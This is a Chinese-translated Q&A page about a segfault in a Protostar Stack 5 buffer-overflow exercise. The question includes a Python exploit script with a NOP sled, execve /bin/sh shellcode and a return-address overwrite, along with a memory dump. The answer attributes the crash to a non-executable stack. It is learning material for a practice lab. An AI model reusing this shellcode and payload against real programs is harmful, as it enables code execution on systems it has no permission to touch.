缓冲区缓冲区溢出时的分段错误

时间:2016-12-28 16:46:29

标签: c x86 segmentation-fault buffer-overflow exploit

我试图了解缓冲区溢出是如何工作的,我从exploit-exercises.com做了一些练习。我试图解决Protostar Stack 5问题。代码在C中编写。Here是代码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

缓冲区从0xbffff770开始,返回位于0xbffff7bc,所以我有76个字节的空间(0xbffff7bc - 0xbffff770 = 0x4c = 76)来放置nop sled和shellcode。 shellcode大小是23 Byte,所以我把53字节的nop sled放到我的堆栈中,然后我将eip寄存器重定向到我的nop sled中间0x0xbffff770 + 16。这是我的脚本,用于生成python中的漏洞利用:

import struct

eip = struct.pack("I", 0xbffff770 + 16) 
nop = "\x90" * 53
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89
           \xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

print nop + payload + eip

但是在我对程序运行此漏洞之后,我得到了Segmentetion Fault。有人能解释我为什么会出现这个错误吗?

运行漏洞利用后的内存:

0xbffff770: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff780: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff790: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffff7a0: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffff7b0: 0xe3896e69  0xe1895350  0x80cd0bb0  0xbffff780

转发地址位于0xbffff7bc并定向到0xbffff780(nop sled),shellcode从0xbffff7a5开始直到0xbffff7bc

info register:

eax            0xbffff770   -1073744016
ecx            0xbffff770   -1073744016
edx            0xb7fd9334   -1208118476
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff7bc   0xbffff7bc
ebp            0x80cd0bb0   0x80cd0bb0
esi            0x0  0
edi            0x0  0
eip            0x80483da    0x80483da <main+22>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

顺便说一句,我试图将重定向转发地址放置5次,所以我将nop sled减少到33个字节(nop sled(33 byte) + shellcode(23 byte) + ret addr(4 byte * 5)),这有效,但为什么我在第一个漏洞利用时遇到段错误。我不明白为什么。

1 个答案:

答案 0 :(得分:1)

LTKills最正确的说法是“ 此问题已在Exploiting buffer overflow leads to segfault 中回答”,答案是:

  

您的内存地址0xbffff…80很可能是不可执行的,但只能读/写。

您可以验证此e。 G。与/proc/…/maps

  • 在没有输入的情况下启动C程序,以便它等待输入
  • 使用Ctrl-Z暂停它,或在另一个终端上执行以下操作
  • 输入cat /proc/`pidof a.out`/maps(如果不同,请使用C程序的名称代替a.out

您应该会看到类似的内容:

08048000-08049000 r-xp 00000000 00:16 6723524   /home/armali/bin/so/c/a.out
08049000-0804a000 rw-p 00000000 00:16 6723524   /home/armali/bin/so/c/a.out
f7635000-f7636000 rw-p 00000000 00:00 0 
f7636000-f7774000 r-xp 00000000 08:08 371440    /lib/libc-2.11.3.so
f7774000-f7775000 ---p 0013e000 08:08 371440    /lib/libc-2.11.3.so
f7775000-f7777000 r--p 0013e000 08:08 371440    /lib/libc-2.11.3.so
f7777000-f7778000 rw-p 00140000 08:08 371440    /lib/libc-2.11.3.so
f7778000-f777b000 rw-p 00000000 00:00 0 
f7796000-f7799000 rw-p 00000000 00:00 0 
f7799000-f779a000 r-xp 00000000 00:00 0         [vdso]
f779a000-f77b5000 r-xp 00000000 08:08 371433    /lib/ld-2.11.3.so
f77b5000-f77b6000 r--p 0001b000 08:08 371433    /lib/ld-2.11.3.so
f77b6000-f77b7000 rw-p 0001c000 08:08 371433    /lib/ld-2.11.3.so
ff8fb000-ff910000 rw-p 00000000 00:00 0         [stack]

此处[stack]段不可执行(那里没有x)。